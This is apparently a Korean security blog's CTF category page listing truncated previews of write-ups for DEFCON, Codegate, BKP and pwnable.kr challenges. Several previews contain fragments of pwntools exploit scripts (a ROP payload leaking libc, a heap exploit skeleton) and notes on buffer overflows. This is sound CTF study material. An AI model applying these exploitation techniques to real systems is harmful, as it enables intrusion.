본문 바로가기

ctf

[DEFCON 2018 CTF] ELF Crumble 처음에 정상적으로 동작하지 않는 바이너리와 파일명이 "fragment~" 인 8개의 파일이 제공된다. 파일명으로 미루어보아 fragment 파일들을 이용해 정상적으로 동작시켜야 하는 것임을 추측할 수 있다. 직접 fragment 파일을 디어셈블하여 순서를 각각 맞춰 동작시킬 수도 있지만, 파이썬의 itertools 모듈을 이용하면 이러한 작업을 훨씬 쉽게 수월하게 할 수 있다. itertools 에서 permutations() 를 이용해 순열을 만들 수 있다. 모든 순열의 바이너리를 생성하여 실행하는 코드를 짜고 결과 값을 출력하도록 하면 플래그가 나온다.. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 3.. 더보기
[Codegate 2018 CTF] Super Marimo # exploit.py from pwn import * from time import * def ShowMe(name, profile): p.sendline('show me the marimo') print p.recvuntil('>> ') p.sendline(name) print p.recvuntil('>> ') p.sendline(profile) print p.recvuntil('>> ') def View(index, data): p.sendline('V') print p.recvuntil('>> ') sleep(3) p.sendline(index) print p.recvuntil('>> ') p.sendline('M') print p.recvuntil('>> ') p.sendline(data) pr.. 더보기
[Codegate 2018 CTF] RedVelvet # exploit.py import angr def main(): proj = angr.Project('./RedVelvet', load_options={'auto_load_libs': False}) path_group = proj.factory.path_group(threads=4) path_group.explore(find=0x401631, avoid=(0x401621, 0x4016cb, )) return path_group.found[0].state.posix.dumps(1) if __name__=='__main__': print(repr(main())) 결과 값은 "What_You_Wanna_Be?:)_lc_la" 가 나오게 되는데, 게싱을 통해 아래와 같이 정확한 플래그 알아냈다. FLAG : .. 더보기
[Codegate 2018 CTF] BaskinRobins31 # exploit.py from pwn import * from time import * p = process('./BaskinRobins31') #p = remote('ch41l3ng3s.codegate.kr', 3131) sleep(0.3) print p.recv(1024) payload = str('3') + 'A'*183 payload += p64(0x40087a) + p64(0x1) + p64(0x602040) + p64(0x10) + p64(0x4006d0) payload += p64(0x4008a4) p.sendline(payload) data = p.recv(1024) read = u64(data[237:245]) libc = read - 0xf7250 oneshot = libc + 0x4.. 더보기
[BKP 2016 CTF] cookbook # file cookbook cookbook: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2397d3d3c3b98131022ddd98f30e702bd4b88230, stripped [*] '/ctf/cookbook' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE NX, SSP 가 걸려있는 32bit 바이너리이다. 0x084d0a0 영역에 1036byte 만큼 할당하는데 데이터를 .. 더보기
[HUST 2017 CTF] pwnable writeup 보호되어 있는 글입니다. 더보기
[DEFCON 2017 CTF] beatmeonthedl # file beatmeonthedl beatmeonthedl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, not stripped [*] '/ctf/beatmeonthedl' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE [+] Starting local process './beatmeonthedl': Done 동적 링크된 64bit 바이너리이다. smashme 와 같이 NX, PIE, SSP 등.. 더보기
[DEFCON 2017 CTF] smashme # file smashme smashme: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=29c2093a0eca94730cd7fd861519602b3272a4f7, not stripped [*] '/ctf/smashme' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE static 으로 링크된 64bit 바이너리이다. NX, SSP, PIE 등은 걸려있지 않다. 바이너리는 엄청 단순하다. gets() 를 통한 buffer overfl.. 더보기
[pwnable.kr] echo2 보호되어 있는 글입니다. 더보기
[pwnable.kr] tiny_easy 보호되어 있는 글입니다. 더보기